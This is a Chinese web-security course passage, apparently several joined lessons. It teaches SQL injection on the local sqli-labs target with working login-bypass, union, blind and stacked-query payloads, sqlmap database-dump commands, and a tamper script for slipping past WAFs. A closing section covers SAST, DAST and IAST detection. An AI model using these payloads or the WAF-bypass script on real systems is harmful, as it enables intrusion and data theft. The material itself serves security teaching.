网络安全课第三节 SQL 注入的检测与防御
06 SQL 注入:小心數據庫被拖走(上)
我們現在來到了 SQL 注入的學習,這里我會主要介紹 SQL 注入漏洞的產生原理、利用、檢測和防御。相信學完后,你就知道:
-
為什么 'or'1'='1 是個萬能密碼;
-
攻擊者會如何進一步利用漏洞發動攻擊竊取數據庫;
-
開發如何檢測和防御 SQL 注入漏洞。
這一講,我主要講解 SQL 注入與數據庫拖庫問題。
十幾年前,我在網上偶然間看到一篇文章,號稱有可登錄任意網站管理后臺的萬能密碼,只要在用戶名和密碼中均輸入 'or'1'='1(注意單引號的使用)即可登錄后臺。當時感覺特別神奇,也有點質疑,于是,我通過 Google 搜索了幾個網站后臺,沒想到有一個真的登錄進去了,還可以直接修改主頁內容。我沒有動,給管理員留言后就退出了。
后來,從網友那得知有個叫“明小子”的工具,專門用于檢測和利用 SQL 注入漏洞,使用起來非常“傻瓜”。如果你很早接觸過安全,相信對下面的界面圖再熟悉不過了。這是我第一次聽說“SQL 注入”這個詞,知道了它屬于 Web 漏洞中非常常見的一種漏洞。
圖 1:“明小子”工具
目前 PHP + MySQL + Linux 一直是網站搭建的主流環境,我們也是在此環境下演示的。其他數據庫系統不再介紹,你可自行搜索相關資料拓展學習。同時,為了簡化環境搭建的工作,推薦使用 Docker 安裝 sqli-labs 作為靶場來實踐,具體安裝方法可參考《03 | 靶場:搭建漏洞練習環境》中的內容。
SQL 注入產生的原因
以 sqli-labs 第 11 題為例,該題模擬后臺登錄頁面,其 Username 與 Password 均存在 SQL 注入漏洞。該題的 PHP 源碼可直接點擊 Github 鏈接查看,也可以進 Docker 容器內查看。
為方便理解,我把 PHP 源碼貼出來,并加上了注釋:
//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0); <span class="hljs-comment">// take the variables</span> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'uname'</span>]) && <span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'passwd'</span>])) {$uname=$_POST[<span class="hljs-string">'uname'</span>]; <span class="hljs-comment">// 用戶輸入的用戶名</span>$passwd=$_POST[<span class="hljs-string">'passwd'</span>]; <span class="hljs-comment">// 用戶輸入的密碼</span><span class="hljs-comment">//logging the connection parameters to a file for analysis.</span>$fp=fopen(<span class="hljs-string">'result.txt'</span>,<span class="hljs-string">'a'</span>);fwrite($fp,<span class="hljs-string">'User Name:'</span>.$uname);fwrite($fp,<span class="hljs-string">'Password:'</span>.$passwd.<span class="hljs-string">"\n"</span>);fclose($fp);<span class="hljs-comment">// connectivity </span><span class="hljs-comment">// 未經過濾,直接將用戶輸入帶入 SQL 語句進行查詢,最終導致 SQL 注入</span>@$sql=<span class="hljs-string">"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"</span>;$result=mysql_query($sql);$row = mysql_fetch_array($result);<span class="hljs-keyword">if</span>($row){<span class="hljs-comment">// 查詢到數據就登錄成功</span><span class="hljs-comment">//echo '<font color= "#0000ff">'; </span><span class="hljs-keyword">echo</span> <span class="hljs-string">"<br>“;
echo ‘<font color= “#FFFF00” font size = 4>’;
//echo " You Have successfully logged in\n\n " ;
echo '<font size=“3” color=”#0000ff">';
echo "<br>
“;
echo ‘Your Login name:’. $row[‘username’];
echo ”<br>
“;
echo ‘Your Password:’ .$row[‘password’];
echo ”<br>
“;
echo ”</font>“;
echo ”<br>
“;
echo ”<br>
“;
echo '<img src=”…/images/flag.jpg" />';
可以看到,用戶在登錄框輸入的用戶名及密碼未經過濾就直接傳入以下 SQL 語句:
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1如果此時我在 Username 中輸入英文單引號,那么 SQL 語句就變成:
SELECT username, password FROM users WHERE username=''' and password='' LIMIT 0,1這里 username 沒有閉合,會導致語法錯誤:
You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1。
圖 2:username 沒有閉合導致的語法錯誤
還記得開頭提到的萬能密碼嗎?我們輸入試試:
圖 3:輸入萬能鑰匙
成功登錄了!那為什么會這樣呢?
我們先來看下輸入萬能密碼后,SQL 語句的構成:
SELECT username, password FROM users WHERE username=''or'1'='1' and password=''or'1'='1' LIMIT 0,1可以發現 username 和 password 為空或者 '1'='1',而'1'='`'永遠為真,SQL 語句必然成立。只要能查詢到有效數據就可以登錄,或者后面隨便回句永遠為真的語句就能夠繞過驗證登錄,這就是萬能密碼存在的原因。
相信看到這里,你對 SQL 注入產生的原因應該有所理解了。簡單來講,就是開發時未對用戶的輸入數據(可能是 GET 或 POST 參數,也可能是 Cookie、HTTP 頭等)進行有效過濾,直接帶入 SQL 語句解析,使得原本應為參數數據的內容,卻被用來拼接 SQL 語句做解析,也就是說,將數據當代碼解析,最終導致 SQL 注入漏洞的產生。
關于此類漏洞的防御我會在《09 | CSRF 漏洞:誰改了我的密碼?》中介紹。
SQL 注入的分類
我們接著來了解 SQL 注入的分類。根據注入點(比如漏洞參數)的數據類型不同,SQL 注入可以分為兩類:數字/整數型注入和字符型注入。
數字/整數型注入
注入的參數為整數時就是數字型注入,或者叫整數型注入。其 SQL 語句原型類似:
SELECT * FROM table WHERE id=1此處 id 參數為整數,兩邊無引號。測試時可以使用 1+1 和 3-1 這種計算結果相同的參數值去構造請示,對比響應結果是否一致,如果相同就可能在數字型注入。
字符型注入
注入參數為字符串時就是字符型注入,其 SQL 語句原型類似:
SELECT * FROM table WHERE name='test'此處的 name 為字符串參數,兩邊包含引號。
其他資料也有給出第 3 種分類:搜索型注入,但我認為它本質上屬于字符型注入,只是相對特殊一點,存在于搜索語句中。此類注入常常以 % 為關鍵字來閉合 SQL 語句。
區分數字型與字符型注入的最簡單辦法就是看是否存在引號。在有源碼的情況下很好判斷,若無源碼,可以嘗試輸入單引號看是否報錯,同時也可以直接根據輸入參數的類型做初步判斷。
了解了 SQL 注入的分類后,就可以針對不同的注入類型采取不同的注入測試技術。
SQL 注入測試技術
我認為當前 SQL 注入利用工具中,sqlmap 無疑是王者。它涵蓋了 SQL 注入檢測、利用、防御繞過、擴展、getshell 等多種功能,功能全面且工程化,是學習研究 SQL 注入繞不開的工具。
如果你查看 sqlmap 的命令幫助信息,可以發現它使用的 SQL 注入技術共有以下 6 種,默認全開,對應的參數值為“BEUSTQ”,如下所示:
? Techniques:These options can be used to tweak testing of specific SQL injectiontechniques--technique=TECH..? SQL injection techniques to use (default "BEUSTQ")BEUSTQ 的參數含義如下:
-
B,Boolean-based blind(布爾型盲注);
-
E,Error-based(報錯型注入);
-
U,Union query-based(聯合查詢注入);
-
S,Stacked queries(多語句堆疊注入);
-
T,Time-based blind(基于時間延遲盲注);
-
Q,Inline queries(內聯/嵌套查詢注入)。
下面我就重點來講解這 6 大 SQL 注入技術。
布爾型盲注
布爾(Boolean)就是真假兩種結果,比如“1=1”為真,“1=2”為假。
前面列舉的 SQL 注入是存在錯誤顯示的,很容易判斷 SQL 語句被注入后出錯。但是,很多時間并沒有錯誤回顯,這時就只能“盲注”。我們可以通過對比真假請求的響應內容來判斷是否存在 SQL 注入,這就是布爾型盲注。比如,對比注入參數與“and 1=2”的返回結果,如果兩者不同則代表可能存在 SQL 注入。
除了布爾型盲注外,我們還可以采用時間延遲的方式來盲注,我在后面會講到。
圖 4:正常訪問的頁面
以 sqli-labs 第 8 題為例,上圖是正常訪問后的網頁內容。通過 Get 參數 id 實現 SQL 注入,我們直接用前面講的單引號注入試試,請求地址為 http://localhost/Less-8/?id=1',返回結果如下:
圖 5:單引號注入的返回結果
沒有任何錯誤提示,顯示此方法行不通。
下面我們試試布爾型盲注的方法,分別構造以下兩個請示,然后對比二者的差異:
-
http://localhost/Less-8/?id=1'and+1=1
-
http://localhost/Less-8/?id=1'and+1=2
其中的 + 號代表空格,執行上述請求后,你會發現返回的頁面沒有任何變化。難道真沒有 SQL 注入嗎?
我們來看一下源碼:
//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);// take the variablesif(isset($_GET['id'])){$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp); <span class="hljs-comment">// connectivity </span>$sql=<span class="hljs-string">"SELECT * FROM users WHERE id='$id' LIMIT 0,1"</span>;$result=mysql_query($sql);$row = mysql_fetch_array($result);<span class="hljs-keyword">if</span>($row){<span class="hljs-comment">// 成功</span><span class="hljs-keyword">echo</span> <span class="hljs-string">'<font size="5" color="#FFFF00">'</span>; <span class="hljs-keyword">echo</span> <span class="hljs-string">'You are in...........'</span>;<span class="hljs-keyword">echo</span> <span class="hljs-string">"<br>“;
echo ”</font>“;
}
else
{
// 失敗,關閉錯誤回顯
echo '<font size=“5” color=”#FFFF00">‘;
//echo ‘You are in…’;
//print_r(mysql_error());
//echo “You have an error in your SQL syntax”;
echo “</br></font>”;
echo ’<font color= “#0000ff” font size= 3>';
重點就在這句 SQL 語句上:
SELECT * FROM users WHERE id='$id' LIMIT 0,1注意這里有單引號,所以是字符型注入,我們將前面的測試語句代入:
SELECT * FROM users WHERE id='1'and 1=1' LIMIT 0,1此處單引號未得到閉合,導致了語法錯誤,這正是前面測試方法失敗的原因。我們可以考慮用--注釋掉。在 URL 請求里要注意在后面加 +,+ 在 URL 中相當于空格,加了 + 才能有效注釋。最后我們得到構造語句:
SELECT * FROM users WHERE id='1'and 1=1 -- ' LIMIT 0,1為了方便驗證 SQL 語句,推薦你直接進入 Docker 容器的 MySQL 進行測試:
sudo docker ps CONTAINER ID? ? ? ? IMAGE? ? ? ? ? ? ? ? COMMAND? ? ? ? ? ? ?CREATED? ? ? ? ? ? ?STATUS? ? ? ? ? ? ? PORTS? ? ? ? ? ? ? ? ? ? ? ? ? NAMES ea6ec615a39e? ? ? ? acgpiano/sqli-labs? ?"/run.sh"? ? ? ? ? ?29 hours ago? ? ? ? Up 29 hours? ? ? ? ?0.0.0.0:80->80/tcp, 3306/tcp? ?sqli-labs sudo docker exec -it ea6ec615a39e /bin/bash root@ea6ec615a39e:/# mysql -u root use security; SELECT * FROM users WHERE id='1' LIMIT 0,1; +----+----------+----------+ | id | username | password | +----+----------+----------+ |? 1 | Dumb? ? ?| Dumb? ? ?| +----+----------+----------+ 1 row in set (0.00 sec) SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1; +----+----------+----------+ | id | username | password | +----+----------+----------+ |? 1 | Dumb? ? ?| Dumb? ? ?| +----+----------+----------+ 1 row in set, 1 warning (0.00 sec) SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1; +----+----------+----------+ | id | username | password | +----+----------+----------+ |? 1 | Dumb? ? ?| Dumb? ? ?| +----+----------+----------+ 1 row in set, 1 warning (0.00 sec) SELECT * FROM users WHERE id='1' and 1=2'' LIMIT 0,1; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1 SELECT * FROM users WHERE id='1' and 1=2-- ' LIMIT 0,1; Empty set (0.00 sec) SELECT * FROM users WHERE id='1' and 1=1-- ' LIMIT 0,1; +----+----------+----------+ | id | username | password | +----+----------+----------+ |? 1 | Dumb? ? ?| Dumb? ? ?| +----+----------+----------+ 1 row in set (0.00 sec)現在我們按此思路重新構造兩個請求。
-
請求 1:http://localhost/Less-8/?id=1'and+1=1--+
-
請求 2:http://localhost/Less-8/?id=1'and+1=2--+
圖 6:請求 1 展示圖
圖 7:請求 2 展示圖
我們可以看到,兩次結果是不一樣的,主要體現在有無“You are in...........”字符串,此時我們就可以確認 SQL 注入是存在的。
報錯型注入
有錯誤回顯的都可以嘗試使用報錯型注入方法,在 sqli-labs 第 11 題中介紹的單引號注入方式就是最簡單有效的檢測方法,它的本質是設法構造出錯誤的 SQL 語法使其執行錯誤。
前面列舉的都是字符型注入,這次我們聊下整數型的。以 sqli-labs 第 2 題為例,我們重點看下導致注入的語句:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$id 參數兩邊無引號,這是典型的整數型注入。雖然是整數型的,但你使用單引號注入依然會報錯,因為語句未得到有效閉合。
既然我們的目標是讓 SQL 語法錯誤,那方法就多了,各種造成語句無法閉合的字符:單引號、雙引號、大中小括號等標點符號、特殊符號、寬字符等,還有 SQL 語句中的關鍵詞,比如 IF、SELECT 都可以。
下圖是注入中文句號(寬字符)導致的錯誤:
圖 8:寬字符導致的錯誤
注入關鍵詞 IF 導致的錯誤:
圖 9:注入關鍵詞 IF 導致的錯誤
擁有錯誤回顯的 SQL 注入應該是最容易發現的,但很多時候并不會有錯誤回顯,這時就需要使用其他盲注方式來驗證。
聯合查詢注入
聯合查詢是指使用 union 語句來查詢,比如:
id =-1 union select 1,2,3注意這里 id 的值不存在,目前是為了在頁面上顯示 union 查詢結果。
這樣的好處就相當于另起一句 SQL 語句,非常適用于獲取數據庫中一些敏感信息,而不必過多考慮原有 SQL 語句的情況。因此,它在實際的漏洞利用中也經常被使用。聯合查詢注入也是驗證漏洞可利用性的最佳方法之一,但經常需要結合錯誤回顯。
我們仍以 sqli-labs 第 2 題為例,先構造以下請求:
http://localhost/Less-2/?id=0 union select 1得到錯誤提示“The used SELECT statements have a different number of columns”,也就是字段數有誤,如下圖所示:
圖 10:字段數有誤
此時我們可以逐漸增加字段數來找到合適字段數:
回顯錯誤:http://localhost/Less-2/?id=0 union select 1,2 正確:http://localhost/Less-2/?id=0 union select 1,2,3 回顯錯誤:http://localhost/Less-2/?id=0 union select 1,2,3,4最后發現它共有 3 個字段,我們看看哪些字段顯示出來了:
圖 11:字段展示
可以發現 2 和 3 字段顯示在頁面中,這里我們就可以進一步構造利用以獲取數據庫名和版本信息:
http://localhost/Less-2/?id=0 union select 1,database(),version()最終,我們成功爆出數據庫名為 security,版本為 5.5.44-0ubuntu0.14.04.1,如下圖所示:
圖 12:成功爆出數據庫名
多語句堆疊注入
在 SQL 語句中,允許使用分號間隔多個查詢語句來執行。mysqli_multi_query() 函數可以通過分號間隔插入多個查詢語句實現堆疊注入。以 sqli-labs 第 38 題為例:
$id=$_GET['id'];......$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/* execute multi query */if (mysqli_multi_query($con1, $sql)){......}......此處正是使用 mysqli_multi_query 函數實現的多語句查詢。我們可以嘗試插入另一條語句來創建表:
http://localhost/Less-38?id=1';create table sqli like users;執行前的表:
mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails? ? ? ? ? ? ?| | referers? ? ? ? ? ?| | uagents? ? ? ? ? ? | | users? ? ? ? ? ? ? | +--------------------+ 4 rows in set (0.00 sec)執行后,成功創建 sqli 表,說明第二條語句執行成功:
mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails? ? ? ? ? ? ?| | referers? ? ? ? ? ?| | sqli? ? ? ? ? ? ? ?| | uagents? ? ? ? ? ? | | users? ? ? ? ? ? ? | +--------------------+ 5 rows in set (0.00 sec)基于時間延遲盲注
基于時間延遲盲注是通過時間延遲來判斷是否存在 SQL 注入的常用方法,是用于無任何錯誤回顯情況下的盲注。對于正確語句和錯誤語句都返回相同內容時也可以使用,所以它的適用范圍相對廣一些。
注意:在實際測試過程中,特別是線上業務測試,要避免使用過長時間的延時,否則會影響業務的正常運行。換句話說,能夠延時注入就基本代表可以去網站進行拒絕服務攻擊。
在 MySQL 常用的延時注入方法中,比較實用的有以下 3 種。
(1)SLEEP(duration):該函數用于休眠,起到延時操作的作用,其參數以秒為單位。
mysql> select sleep(5); +----------+ | sleep(5) | +----------+ |? ? ? ? 0 | +----------+ 1 row in set (5.00 sec)(2)BENCHMARK(count,expr):重復計算 expr 表達式 count 次。
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ |? ? ? ? ? ? ? ? ? ? ? ? ? 0 | +----------------------------+ 1 row in set (2.72 sec)(3)REPEAT(str,count):返回字符串 str 重復 count 次后的字符串。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b'); +-------------------------------------------------------------+ | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b') | +-------------------------------------------------------------+ |? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?0 | +-------------------------------------------------------------+ 1 row in set (5.92 sec)我們以 sqli-labs 第 2 題為例構造請求:
http://localhost/Less-2/?id=1 and sleep(5)--+在 Chrome 瀏覽器的 Network 標簽內可以看到該請求剛好處時 5 秒鐘,說明確實存在漏洞。
圖 13:Chrome 標簽內展示
內聯/嵌套查詢注入
使用內聯查詢來檢索數據,本質上是嵌入在另一個查詢中的查詢,例如:
SELECT (SELECT password from users) from product;以 sqli-labs 第 2 題為例,結合前面介紹的聯合查詢來構造請求:
http://localhost/Less-2/?id=0 union select 1,(SELECT username from users where id=2),(SELECT password from users where id=2)通過以上代碼我們可以看到 id=2 的用戶名和密碼,如下圖所示:
圖 14:內聯/嵌套查詢注入
內聯/嵌套查詢注入方法可以在一句語句中嵌入另一句語句,在有限漏洞場景下能實現更多的功能,因此在實際的漏洞利用中常被用于實現敏感信息的竊取,甚至執行系統命令。
總結
這一講我主要介紹了 SQL 注入的產生原理、分類,以及相關的測試技術。SQL 注入產生的原因是由于開發對用戶的輸入數據未做有效過濾,直接引用 SQL 語句執行,導致原本的數據被當作 SQL 語句執行。通常來說,SQL 注入分為數字型和字符型注入,我們主要通過注入參數類型來判斷。
我還介紹了 6 大 SQL 注入測試技術,這是挖掘和利用 SQL 注入漏洞的基礎,只有掌握這些測試技術,才能進一步提升對 SQL 注入的理解與實踐能力。
SQL 注入通常被視為高危或嚴重的漏洞,一些漏洞獎勵平臺對此的賞金也會很高,尤其是在國外,經常在 5000 美金以上,甚至有的是幾萬美金。
在學習之后,你也可以嘗試去挖一些國內的 SRC 平臺或者國外 HackerOne 平臺授權的測試網站。如果你有發現什么有趣的 SQL 注入漏洞,歡迎在留言區分享。
(7)盲注猜解字符串
前面的示例都是在有錯誤回顯的情況下,通過 SQL 注入獲得我們想要的用戶信息,但有時在滲透測試時,網站并沒有錯誤回顯,此時就只能去盲注猜解出數據庫名、字段名和值等關鍵信息。盲注猜解字符串的主要方式有布爾型盲注和基于時間延遲盲注,相關的知識我在《06 | SQL 注入:小心數據庫被拖走(上)》中介紹過了。
布爾型盲注: http://localhost/Less-2/?id=1 and ascii(substr((select database()),1,1))>110--+ 判斷數據庫名的第一個字符的 ascii 值是否大于 110('H') 基于時間延遲盲注: http://localhost/Less-2/?id=1 union select if(SUBSTRING(password,1,4)='Dumb',sleep(5),1),2,3 from users--+ 提取密碼前四個字符做判斷,正確就延遲 5 秒,錯誤返回 1自動化利用漏洞
手工注入是個體力活,效率很慢,如果能自動化地利用漏洞,就可以解放雙手,省下不少時間。因此,通常我們不會使用手工注入的方式。
下面我就來介紹如何利用 sqlmap 實現 SQL 注入漏洞的自動化利用。
使用 sqlmap 拖庫
當前在 SQL 注入漏洞利用工具中,sqlmap 絕對是最常用的,前文也多次提到它,這里我們就嘗試使用 sqlmap 實現拖庫。
借助 sqlmap 我們可以通過簡單的參數自動完成漏洞的利用,既不用記過多的 SQL 語句,也會更加高效。下面我會介紹一些常用的命令參數,通過這些參數,我們能實現注入自動化。具體的流程和手工注入一樣,這里就不再贅述了。
(1)使用 --dbs 參數獲取數據庫名稱(注意:這里需要 sudo,否則無法訪問 docker 容器中的網站),示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs圖 12:使用 --dbs 參數獲取數據庫名稱
輸出的對應 payload 也是學習各種注入技巧的參考資料,對于滲透測試者、漏洞掃描器、WAF 開發者需要研究的重要資源,有些掃描器干脆直接用 sqlmap,或者把它的所有 payload 扣出來使用。
(2)使用 --current-db 參數獲取當前數據庫,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --current-db圖 13:使用 --current-db 參數獲取當前數據庫
(3)使用 --tables 參數枚舉表名,示例命令如下 :
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'圖 14:使用 --tables 參數枚舉表名
(4)使用 --columns 參數枚舉字段名,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"圖 15:使用 --columns 參數枚舉字段名
(5)使用 --dump 參數批量獲取字段值,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"圖 16:使用 --dump 參數批量獲取字段值
(6)使用 --dump-all 參數導出整個數據庫。
這個方法耗時較長,還有很多無價值信息,但卻是最簡單的拖庫姿勢,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all上述方法導出的數據文件存放路徑會在命令行給出,數據以 csv 文件形式保存到本地:
pwd /root/.local/share/sqlmap/output/localhost/dump tree . ├── challenges │? ?└── 6EAED22Z6T.csv ├── information_schema │? ?├── CHARACTER_SETS.csv │? ?├── COLLATION_CHARACTER_SET_APPLICABILITY.csv │? ?├── COLLATIONS.csv │? ?├── COLUMN_PRIVILEGES.csv │? ?├── COLUMNS.csv │? ?├── ...... │? ?├── SCHEMATA.csv │? ?├── SESSION_STATUS.csv │? ?├── SESSION_VARIABLES.csv │? ?├── STATISTICS.csv │? ?├── USER_PRIVILEGES.csv │? ?└── VIEWS.csv ├── mysql │? ?├── help_category.csv │? ?├── help_keyword.csv │? ?├── help_relation.csv │? ?├── help_topic.csv │? ?├── proxies_priv.csv │? ?├── servers.csv │? ?└── user.csv ├── performance_schema │? ?├── cond_instances.csv │? ?├── ...... │? ?└── threads.csv └── security├── emails.csv├── referers.csv├── uagents.csv├── users.csv└── users.csv.1 5 directories, 70 files cat /root/.local/share/sqlmap/output/localhost/dump/security/users.csv id,username,password 1,Dumb,Dumb 2,Angelina,I-kill-you 3,Dummy,p@ssword 4,secure,crappy 5,stupid,stupidity 6,superman,genious 7,batman,mob!le 8,admin,admin 9,admin1,admin1 10,admin2,admin2 11,admin3,admin3 12,dhakkan,dumbo 14,admin4,admin4利用 tamper 繞過 WAF
在云時代網絡中,很多部署網站的服務器都會提供 WAF(Web 防火墻)服務。在未部署的情況下,云廠商如果檢測到 Web 攻擊請求,可能會發短信通知你開啟 WAF 服務。之前我在一次滲透測試工作中就是如此:原本未部署 WAF 的網站,在 SQL 注入的過程中,突然就開啟 WAF 攔截了。
tamper 正是對 sqlmap 進行擴展的一系列腳本,可在原生 payload 的基礎上做進一步的處理以繞過 WAF 攔截。sqlmap 里有個 tamper 目錄,里面放著很多腳本,比如編碼、字符替換、換行符插入。
我們先來看下 sqlmap 自帶的一個最簡單的,用于轉義單引號的 tamper 腳本:
#!/usr/bin/env python """ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies():pass def tamper(payload, **kwargs):"""Slash escape single and double quotes (e.g. ' -> \')>>> tamper('1" AND SLEEP(5)#')'1\\\\" AND SLEEP(5)#'"""return payload.replace("'", "\\'").replace('"', '\\"')它主要由 3 個部分組成。
-
priority:代表優先級,當使用多個腳本時可定義執行順序。
-
dependencies:對依賴環境的聲明,比如輸出日志,可不寫。
-
tamper:主函數。payload 代表 sqlmap 自帶的測試語句;kwargs 代表請求參數,可以用來修改 http 頭信息。tamper 主要是對原生 payload 做一些替換處理,這是繞過 WAF 的關鍵點。
下面以某知名網站的 SQL 注入為例。常規的注入語句都被攔截了,后來在 fuzz 測試 WAF 時,發現使用一些特殊符號可以繞過 WAF(換行符也經常被用來繞過),而 MySQL 中有些特殊字符又相當于空格:
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f, %10, %11, %12, %13, %14, %15, %16, %17, %18, %19, %1a, %1b, %1c, %1d, %1e, %1f, %20
我們嘗試在每個 SQL 關鍵詞中隨機加個%1e。測試確認可繞過 WAF 后,接下來就是寫 tamper 讓 sqlmap 實現自動化繞過 WAF。
import re from lib.core.common import randomRange from lib.core.data import kb # kb 中存放著 sqlmap 的一些配置信息 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs):result = payloadif payload:for match in re.finditer(r"\b[A-Za-z_]+\b", payload):word = match.group()if len(word) < 2:continueif word.upper() in kb.keywords: # 判斷是否屬于 SQL 關鍵詞str = word[0]for i in xrange(1, len(word) - 1):str += "%s%s" % ("%1e" if randomRange(0, 1) else "", word[i])str += word[-1]if "%1e" not in str:index = randomRange(1, len(word) - 1)str = word[:index] + "%1e" + word[index:]result = result.replace(word, str)return result上述代碼會判斷輸入的字符串是否有 SQL 關鍵詞,如果有就隨機在關鍵詞中間插入%1e。
假設原注入語句為:
and ascii(substr((select database()),1,1))>64經轉換后變成:
a%1end a%1escii(sub%1estr((s%1eelect da%1etabase()),1,1))>64最后調用 sqlmap 執行即可:
./sqlmap.py -u url --tamper=bypasswaf.py --dbs到這里咱們就完成請求參數的修改了,這是用來繞過 WAF 是非常有效的手段。
總結
這一講我主要介紹了二次注入產生的原理,以及如何利用 SQL 注入漏洞,包括手工注入及使用 sqlmap 實現自動化漏洞。
在個人滲透測試經歷中,如果要挖掘和利用 SQL 注入漏洞,那么手工注入的技能是必備的,畢竟 sqlmap 也有掃不出來的情況。一旦能夠手工注入成功,哪怕 sqlmap 檢測不出來,我們也可以借助 tamper 腳本構造可成功注入的語句,然后再利用 sqlmap 與 tamper 腳本完成自動化的利用。無論如何,sqlmap 一直是 SQL 注入領域最優秀的工具,沒有之一,非常值得學習和研究。
那我們如何利用 SQL 注入寫入后門,進而拿到服務器的 shell 權限,比如 sqlmap 中的--os-shell 參數使用,還有 MySQL 新特性 secure_file_priv 對讀寫文件的影響呢?歡迎在留言區分享你的看法。
下一講,我將帶你了解如何檢測和防御 SQL 注入,到時見~
08 SQL 注入:漏洞的檢測與防御
上一講我介紹了 SQL 注入中的二次注入,二次注入是由于第一次帶入參數時做了安全轉義,但開發人員在二次使用時并沒有做轉義,導致第二次使用時產生了注入。前兩講中我介紹了 SQL 注入的方法,這一講我會講接如何檢測和防御 SQL 注入。
自動化檢測 SQL 注入
如果開發者想盡早地發現 SQL 注入的問題,就需要主動對自己寫的程序做一些安全檢測。現在,讓我來帶你了解如何自動化地檢測 SQL 注入漏洞。
目前檢測 Web 漏洞的方式共有 3 種:SAST(靜態應用安全測試)、DAST(動態應用安全測試)和 IAST(交互式應用安全測試)。
SAST(靜態應用安全測試)
SAST(Static Application Security Testing,靜態應用程序安全測試)是通過分應用程序源代碼以提早發現安全漏洞,也包括二進制文件的靜態逆向分析。在產品形式上,主要體現為代碼審計系統等。
SAST 的工作流程如下圖所示:
圖 1:SAST 工作流程
PHP 代碼的商業 SAST 產品有 RIPS、CheckMax 等,其中以 RIPS 審計能力最強,我還沒見過比它更優秀的 PHP 代碼審計產品。RIPS 早期有開源的社區版,后來走商業化路線,今年已經被 SonarSource 收購,聯合其他語言的代碼審計功能打包出售。
圖 2:RIPS
SAST 分析比較全面,漏洞發現率高,哪怕是當前未能執行到的代碼,也可能被發現到漏洞,但是對于它最大的挑戰是如何降低誤報率。
代碼審計本質上是在誤報率與發現率之間相互協調,直到在可接受的范圍內找到一個平衡的過程。如果發現率很高,但其中包含過多的誤報,告警量多到無法運營的程度,那也等同于沒發現。就像外面反饋一個網站存在漏洞,在排查代碼審計系統之前的審計結果時,發現有過告警,但由于同一時期的告警量太多導致無法及時跟進,發現了卻未修復,就和沒發現一樣。
現在企業基本采用多種方式結合來測試,而不是單一地采用 SAST 方法。
DAST(動態應用安全測試)
DAST(Dynamic Application Security Testing,動態應用程序安全測試)是對應用程序進行黑盒分析,通常在測試或運行階段分析應用程序的動態運行狀態,通過模擬黑客行為對應用程序進行動態攻擊,分析應用程序的反應,從而確定是否存在漏洞。
DAST 的工作流程如下圖所示:
圖 3:DAST 工作流程
DAST 在產品形式上主要體現為漏洞掃描器,著名的商業產品有 Acunetix Web Vulnerability Scanner(AWVS,不過近來的版本誤報很多)、AppScan,還有國內長亭在 GitHub 上放出的 xray,這些都是許多“白帽子”喜歡用的掃描器。
圖 4:AWVS
DAST 通過動態發送 payload 來測試漏洞,所以準確率相對較高,而且檢測出來后就直接有現成的 PoC(Proof of Concept,概念驗證)可以驗證。但如果有些代碼未執行,就無法發現。因此,跟 SAST 結合使用是最好的方式。
IAST(交互式應用安全測試)
IAST(Interactive Application Security Testing,交互式應用安全測試)是近幾年興起的一種應用安全測試新技術,曾被 Gartner 咨詢公司列為網絡安全領域的 Top 10 技術之一。IAST 融合了 DAST 和 SAST 的優勢,漏洞檢出率極高、誤報率極低,同時可以定位到 API 接口和代碼片段。
IAST 主要有代理和插樁兩種模式,其他的 VPN 或流量鏡像都是類似代理的流量采集方式。IAST 代理與插樁的工作流程如下圖所示:
圖 5:IAST 工作流程
以往的 DAST 漏洞掃描時,如果爬蟲不到位、URL 收集不全就無法掃描到,IAST 的流量采集可以解決此類問題。同時,IAST 會借助 Hook 收集應用執行信息,比如 SQL 語句的執行函數。通過檢查真正執行的語句,判斷其是否包含攻擊性或專用測試標記的 payload,IAST 可以非常精確地識別出漏洞。
比較著名的 IAST 產品有百度的 OpenRASP-IAST,它是在 OpenRASP 的基礎上引入了 DAST 掃描器,組合成完整的 IAST。除此之外,AWVS AcuSensor 和 AppScan 也都引入 IAST 技術,支持在服務端部署 Agent 去監控程序并采集信息,再提供給掃描器進行進一步的掃描。
圖 6:OpenRASP-IAST
既然聊到 RASP,我就順便說一下 RASP 與 IAST 的區別。
